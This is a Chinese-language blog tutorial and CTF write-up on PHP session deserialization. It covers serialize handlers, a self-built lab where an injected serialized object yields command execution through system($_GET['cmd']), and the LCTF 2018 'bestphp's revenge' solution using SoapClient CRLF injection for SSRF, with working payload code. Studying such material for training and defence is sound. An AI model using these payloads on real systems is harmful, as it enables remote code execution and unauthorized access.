session反序列化

session反序列化

今天我们来聊一聊session反序列化
先说明一下什么是session反序列化?

php会自动反序列化会话文件是因为php会话管理器(Session manager)在默认的情况下会自动处理会话数据的序列化和反序列化过程。在PHP种,会话数据通常存储在服务器上的会话文件种(默认路径:/var/lib/phpx/sess_xxxxxx)。当会话数据被写入会话文件时,php会自动将会话数据序列化为字符串,以便在文件中进行存储。而当会话数据需要被读取时,PHP会自动将会话文件中的序列化字符串反序列化为原始的php数据结构。这种自动的序列化和反序列化的过程是为了方便开发者在会话中存储和读取复杂的数据类型,如数组和对象。通过使用php的会话管理器,开发者可以无需手动进行序列化和反序列化操作,而是直接操作原始的php数据结构。

根据上面我所说的,你们也可以发现一个点就是"当会话数据需要被读取时,php会自动序列化和反序列化",这个操作到底指代的什么意思呢?

  • [1] 当使用$_SESSION超全局数组访问会话变量时,php会自动从会话文件中读取相应的数据并进行反序列化。例如,通过$_SESSION[‘username’]访问会话中的用户名。
  • [2] 当会话管理器在启动会话中,会将会话文件中存储的数据读取出来,并反序列化为原始的php数据结构,以便在会话生命周期中使用
  • [3] 根据第二点所说的,在使用会话相关的函数和方法时,如session_start(),session_unset(),session_destroy()等,php会自动读取会话数据进行反序列化。

根据上面我说的这样,要是细细的看下来是不是就明白了
那么下面开始介绍phpinfo里有关session常用的参数:
session.upload_progress是php5.4的新特征当session.upload_progress.enable 选项开启的时候,php能够在每一个文件上传时检测上传进度。这个信息对上传请求并没有什么帮助,但在文件上传时应用可以发送一个post请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时post一个与ini中设置的session.upload_progress.name 同名变量时,上传进度可以在$_SESSION 中获得。当php检测到这种post请求时,它会在$_SESSION 中添加一组数据,索引是session.upload_progress.prefixsession.upload_progress.name 连接在一起的值。

参数名
session.upload_progress.enabledon
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESS

现在你们应该知道了session开启的方式,接下来我们还需要了解一下几种不一样的序列化数据
示例代码

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = "Ten";
?>

php_serialize的数据 (默认查看路径:/var/lib/phpx/sess_xxxxxxxxxxxxx)

a:1:{s:4:"name";s:3:"Ten";}

php的数据

name|s:3:"Ten";

php_binary的数据
在这里插入图片描述

实操

我写了一个简单的例题,带你们看一下
index.php

<?php
ini_set('session.serialize_handler','php');
session_start();
show_source(__FILE__);
class TenClass{
        public $cmdvalue;
        function __construct(){
                $this->cmdvalue = 'phpinfo();';
        }
        function __destruct(){
                eval($this->cmdvalue);
        }
}
if (isset($_GET['p'])){
        $p = new TenClass();
}
?>

然后再写一个可以将payload写入session文件的页面
1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['test'] = $_GET['test'];
?>

接下来,只需要在本地写一个exp或一个上传的页面即可
exp如下:

<?php
class TenClass{
    public $cmdvalue;
    function __construct(){
        $this->cmdvalue = 'system($_GET[\'cmd\']);echo 123;';
    }
    function __destruct(){
        eval($this->cmdvalue);
    }
}
echo serialize(new TenClass);
?>

然后通过1.php的test参数传入payload

|O:8:"TenClass":1:{s:8:"cmdvalue";s:30:"system($_GET[%27cmd%27]);echo%20123;";}";

在这里插入图片描述

接着我们去访问一下index.php页面,发现payload中的echo 123已经实现了
在这里插入图片描述
然后传入cmd参数读取flag值
在这里插入图片描述
完美执行了。

上面的实例肯定会让你们看着有点懵了,我带你们看看session文件里的内容是什么样的
在这里插入图片描述
1、 | 竖线上面我有和你们说过这是php生成session文件的时候才会有的东西,竖线前面是键,竖线后面是值
2、 竖线前面为什么不是正常键名,而是序列化的数据,这是因为1.php页面所使用的session处理器是php_serialize 所以生成出来的就是数组形式的序列化数据,这不过由于我在传参的时候在值的前面加了一个竖线,才会变成现在这样
3、 至于为什么要写成这样,是因为index.php页面所使用的session处理器是php ,php处理器遵从的宗旨就是竖线前面的是键,对应的也就是$_SESSION数组里面的键,而竖线后面的就是值了,并且反序列化的时候,也是只反序列化竖线后面的数据

这下应该就明白了很多吧。

那我们再做一个ctf的例题
[LCTF 2018]bestphp’s revenge
源代码如下:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

根据上面的代码分析
call_user_func函数用来执行一个函数加参数,但是要注意的就是$_POST是一个数组,所以这里我们可以使用call_user_func函数去复call_user_func_array()二者的作用是一样的,只不过就是传递参数的方式不一样而已。紧接着就是开启了session会话,并且接收一个name参数,赋值给session会话里面的name。打印session数组里面的所有键和值。然后使用reset($_SESSION)session数组里面的第一个键的值,和后面的值一起组成新的数组赋值给$a。最后call_user_func函数执行$b函数加$a参数。

光看这一个页面,还是感觉不知道我们该从何处下手,后经过扫描发现了一个flag.php页面

only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

大致的意思就是我们必须以真实的本地ip地址去访问flag.php页面,我们才能得到flag

回到第一页的代码里

call_user_func($_GET['f'],$_POST);

这里f传参extract,然后跟上后面$_POST数组我们可以达到变量覆盖的一个作用

if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}

这里的session赋值,存在着session反序列化

var_dump($_SESSION);

这里的打印session数组里面的值,可以让我们清晰的看到我们写入的序列化的值

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

这里是一个关键点,我们需要通过这里的东西进行反序列化,然后请求flag.php页面

call_user_func($b, $a);

这里的$b被固定使用implode函数,但是上面我们可以利用变量覆盖的操作,将$b覆盖掉

首先我们要想的就是怎么反序列化去请求flag.php页面,这里没有给我们定义的类,那就只能有一种办法就是调用原生类,可以发web请求的原生类典型的就是soapclient类了。

我们看看这个原生类是怎么使用的

<?php
$url = "http://localhost:8989";
$web = array(
        "location" => $url,
        "user-agent" => "ten\r\nCookie: PHPSESSID=123456\r\n",
        "uri" => "ceshi"
);
$a = new SoapClient(null,$web);
$p = serialize($a);
unserialize($p)->ff();
?>

如果运行报错,显示这个错误

PHP Fatal error:  Uncaught Error: Class "SoapClient" not found in /var/www/html/1.php:8

说明你的本地没有这个扩展也就用不了这个原生类
使用apt-get install php8.2-soap 安装一下就好了

然后本地监听8989端口
在这里插入图片描述
因为php的原生类soapclient类存在CRLF漏洞,所以我们可以任意构造haader信息

并且要注意的是,call_user_func函数是可以调用类的,第一个参数为类名,第二个参数为类的方法

<?php
class tenclass{
    function print_name(){
        echo "123456";
    }
}
$classname = "tenclass";
call_user_func(array($classname,'print_name'));
echo "----";
call_user_func($classname.'::print_name');
echo "----";
$a = new tenclass();
call_user_func(array($a,'print_name'));
?>

那么代入到题目里,我们就可以将$b和$a替换为

call_user_func("call_user_func",array("new SoapClient","welcome_to_the_lctf2018"));

但是我们还是不无法将序列化后的值传入session文件里,因为没有session处理器,那就只能我们自己构造了,自php7起,session_start函数就支持以数组的形式进行配置ini文件: (session_start(array('serialize_handler' =>'php_serialize'))) 就会被设置为 session.serialize_handler = php_serialize

下面我们开始操作
第一步生成序列化数值

<?php
$target = "http://127.0.0.1/flag.php";
$post_data = 'flag=demo';
$ua = array(
    'mochazz',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=mochazz'
);

$options = array(
    'location' => $target,
    'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
    'uri'=>'hello'
);

$serialize_string = serialize(new SoapClient(null,$options));
echo urlencode($serialize_string);
?>

然后抓包,构造如下数据包,一定要注意,这exp只能用php7版本运行
在这里插入图片描述

可以看见序列化数据已经被我们写入session里面了,下面我们就要去触发反序列化操作了,下面就是要做的就是让SoapClient原生类中的_call方法运行起来,所以我们要考虑就是怎么创建这个类然后调用一个不存在的方法。f的话我们传入extract进行变量覆盖,POST数组留着传入数据覆盖$b,然后就是在name传入原生类的类名
在这里插入图片描述

最后把我们的session改成上面exp里面的session id
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值